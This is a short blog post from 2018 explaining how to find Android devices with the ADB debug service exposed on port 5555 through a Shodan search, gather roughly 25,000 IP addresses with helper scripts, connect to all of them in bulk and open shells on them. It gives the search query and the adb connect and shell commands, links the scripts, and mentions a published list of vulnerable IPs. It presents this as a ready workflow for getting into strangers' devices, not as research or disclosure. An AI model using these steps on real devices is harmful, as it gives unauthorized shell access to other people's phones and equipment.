Exploiting Android Devices Running Insecure Remote ADB Service

SaN ThosH
3 min readAug 25, 2018

--

What is ADB?
Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device

Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wireless by enabling a daemon server at TCP port 5555 on the device.

Checking on SHODAN using dork

android debug bridge product:”Android Debug Bridge”

Lets grab all the IP’s from shodan api

Made a one-liner bash script to do that for me

Add you api in the script before executing

bash shodan_adb.sh

You can get that here

Got the json response of SHODAN search (total of 305 pages)

One-liner to grep all ips from them and make a single file

bash grep_ip.sh > ip.txt

You can get that here

Got around 25k
Link to the list is here

Next we need to add them to adb using adb connect ip:port

One-liner to add all the IP’s from ip.txt to adb

bash adb_connect.sh

You can get that here

Accessing them
To list all the connected adb use adb devices

Use the script adb.sh to list them in order to access them like it it here

adb $(./adb.sh) shell

Done

./logout

📝 Read this story later in Journal.

🗞 Wake up every Sunday morning to the week’s most noteworthy Tech stories, opinions, and news waiting in your inbox: Get the noteworthy newsletter >

--

--